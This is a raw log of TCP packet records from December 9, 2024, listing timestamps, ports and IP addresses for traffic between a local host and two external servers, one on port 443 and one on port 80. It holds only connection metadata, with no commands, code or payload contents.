Dec 9, 2024 18:20:24.451787949 CET	49747	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:27.535926104 CET	49781	443	192.168.2.6	20.198.118.190
Dec 9, 2024 18:20:27.535964966 CET	443	49781	20.198.118.190	192.168.2.6
Dec 9, 2024 18:20:27.536035061 CET	49781	443	192.168.2.6	20.198.118.190
Dec 9, 2024 18:20:27.543350935 CET	49781	443	192.168.2.6	20.198.118.190
Dec 9, 2024 18:20:27.543366909 CET	443	49781	20.198.118.190	192.168.2.6
Dec 9, 2024 18:20:29.769462109 CET	443	49781	20.198.118.190	192.168.2.6
Dec 9, 2024 18:20:29.769543886 CET	49781	443	192.168.2.6	20.198.118.190
Dec 9, 2024 18:20:29.774445057 CET	49781	443	192.168.2.6	20.198.118.190
Dec 9, 2024 18:20:29.774471045 CET	443	49781	20.198.118.190	192.168.2.6
Dec 9, 2024 18:20:29.774719000 CET	443	49781	20.198.118.190	192.168.2.6
Dec 9, 2024 18:20:29.779266119 CET	49781	443	192.168.2.6	20.198.118.190
Dec 9, 2024 18:20:29.779316902 CET	49781	443	192.168.2.6	20.198.118.190
Dec 9, 2024 18:20:29.779330015 CET	443	49781	20.198.118.190	192.168.2.6
Dec 9, 2024 18:20:29.779464006 CET	49781	443	192.168.2.6	20.198.118.190
Dec 9, 2024 18:20:29.823343992 CET	443	49781	20.198.118.190	192.168.2.6
Dec 9, 2024 18:20:30.445401907 CET	443	49781	20.198.118.190	192.168.2.6
Dec 9, 2024 18:20:30.445674896 CET	443	49781	20.198.118.190	192.168.2.6
Dec 9, 2024 18:20:30.445729971 CET	49781	443	192.168.2.6	20.198.118.190
Dec 9, 2024 18:20:30.446021080 CET	49781	443	192.168.2.6	20.198.118.190
Dec 9, 2024 18:20:30.446044922 CET	443	49781	20.198.118.190	192.168.2.6
Dec 9, 2024 18:20:30.446059942 CET	49781	443	192.168.2.6	20.198.118.190
Dec 9, 2024 18:20:30.995630980 CET	49747	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:30.995918989 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:31.121220112 CET	80	49747	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:31.121370077 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:31.121459961 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:31.121658087 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:31.242161989 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:32.964556932 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:32.964623928 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:33.276007891 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:33.395570040 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:33.928508043 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:33.928522110 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:33.928714991 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:33.929049015 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:33.929065943 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:33.929078102 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:33.929114103 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:33.929177999 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:33.929908037 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:33.929913998 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:33.929918051 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:33.929920912 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:33.929958105 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:33.929980993 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:33.935739040 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:33.935753107 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:33.935789108 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:33.935801983 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:34.033534050 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:34.033601046 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:34.048320055 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:34.048373938 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:34.048438072 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:34.048481941 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:34.052335978 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:34.052407026 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:34.052686930 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:34.052731037 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:34.060833931 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:34.060888052 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:34.060946941 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:34.060993910 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:34.069257021 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:34.069318056 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:34.069396973 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:34.069444895 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:34.077593088 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:34.077647924 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:34.077721119 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:34.077769995 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:34.086026907 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:34.086082935 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:34.086121082 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:34.086167097 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:34.094575882 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:34.094639063 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:34.094769001 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:34.094820023 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:34.102824926 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:34.102893114 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:34.103053093 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:34.103101015 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:34.111304045 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:34.111365080 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:34.154301882 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:34.154387951 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:34.167743921 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:34.167932034 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:34.167994976 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:34.168051958 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:34.173353910 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:34.173367023 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:34.173414946 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:34.180438042 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:34.180491924 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:34.180512905 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:34.180538893 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:34.188833952 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:34.188905001 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:34.189088106 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:34.189135075 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:34.197499037 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:34.197521925 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:34.197559118 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:34.197592020 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:34.205792904 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:34.205821991 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:34.205866098 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:34.205913067 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:34.213975906 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:34.214070082 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:34.214221954 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:34.214274883 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:34.222491980 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:34.222547054 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:34.222601891 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:34.222650051 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:34.230906010 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:34.230969906 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:34.231045008 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:34.231096029 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:34.239389896 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:34.239428043 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:34.239449978 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:34.239471912 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:34.247641087 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:34.247690916 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:34.247781038 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:34.247842073 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:34.274024963 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:34.274144888 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:34.274194002 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:34.274219036 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:34.287322044 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:34.287377119 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:34.287405014 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:34.287436962 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:34.289520025 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:34.289603949 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:34.289694071 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:34.289741993 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:34.293973923 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:34.294015884 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:34.294099092 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:34.294166088 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:34.298558950 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:34.298634052 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:34.298769951 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:34.298888922 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:34.302747965 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:34.302793980 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:34.302913904 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:34.302956104 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:34.307140112 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:34.307204962 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:34.307385921 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:34.307425976 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:34.312032938 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:34.312081099 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:34.312192917 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:34.312236071 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:34.316000938 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:34.316055059 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:34.316111088 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:34.316178083 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:34.320404053 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:34.320450068 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:34.320663929 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:34.320719957 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:34.325218916 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:34.325263977 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:34.325340033 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:34.325376987 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:34.329538107 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:34.329581976 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:34.330370903 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:34.330467939 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:34.334518909 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:34.334542990 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:34.334567070 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:34.334583044 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:34.336848021 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:34.336890936 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:34.339051962 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:34.339101076 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:34.339608908 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:34.339654922 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:34.343110085 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:34.343185902 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:34.343502045 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:34.343595982 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:34.347769022 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:34.347816944 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:34.347933054 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:34.347982883 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:34.352225065 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:34.352272034 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:34.352752924 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:34.352797031 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:34.356616020 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:34.356693983 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:34.356759071 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:34.356825113 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:34.360693932 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:34.360744953 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:34.360793114 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:34.360826969 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:34.364717007 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:34.364773035 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:34.364782095 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:34.364810944 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:34.368422985 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:34.368477106 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:34.368614912 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:34.368663073 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:34.374012947 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:34.374064922 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:34.374383926 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:34.374427080 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:34.378329992 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:34.378400087 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:34.378448963 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:34.378515005 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:34.395560026 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:34.395622015 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:34.395711899 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:34.395757914 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:34.397372961 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:34.397485018 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:34.397663116 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:34.397706032 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:34.406894922 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:34.406951904 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:34.406982899 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:34.407335997 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:34.408597946 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:34.408637047 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:34.408822060 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:34.408866882 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:34.412117958 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:34.412218094 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:34.412234068 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:34.412298918 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:34.415276051 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:34.415330887 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:34.415508986 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:34.415560007 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:34.418541908 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:34.418596983 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:34.418674946 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:34.418731928 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:34.421824932 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:34.421881914 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:34.421952963 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:34.422012091 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:34.425108910 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:34.425174952 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:34.425267935 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:34.425322056 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:34.428240061 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:34.428313017 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:34.428386927 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:34.428448915 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:34.431457043 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:34.431508064 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:34.431591988 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:34.431644917 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:34.434379101 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:34.434437037 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:34.434519053 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:34.434566021 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:34.437644958 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:34.437685966 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:34.437783957 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:34.437825918 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:34.440296888 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:34.440346956 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:34.440529108 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:34.440571070 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:34.443139076 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:34.443186045 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:34.443272114 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:34.443305969 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:34.446063995 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:34.446105957 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:34.446185112 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:34.446233034 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:34.448522091 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:34.448575020 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:34.448599100 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:34.448641062 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:34.451021910 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:34.451067924 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:34.451165915 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:34.451219082 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:34.453829050 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:34.453886032 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:34.454055071 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:34.454107046 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:34.456358910 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:34.456415892 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:34.456487894 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:34.456532001 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:34.458815098 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:34.458856106 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:34.458924055 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:34.458972931 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:34.461679935 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:34.461726904 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:34.462068081 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:34.462143898 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:34.464607000 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:34.464669943 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:34.464747906 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:34.464811087 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:34.466969967 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:34.467025995 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:34.467104912 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:34.467156887 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:34.469069004 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:34.469131947 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:34.469197035 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:34.469247103 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:34.471715927 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:34.471766949 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:34.471915960 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:34.471971035 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:34.474303961 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:34.474354029 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:34.474549055 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:34.474598885 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:34.476690054 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:34.476732016 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:34.548695087 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:34.548886061 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:34.549232006 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:34.549273968 CET	49788	80	192.168.2.6	185.215.113.206
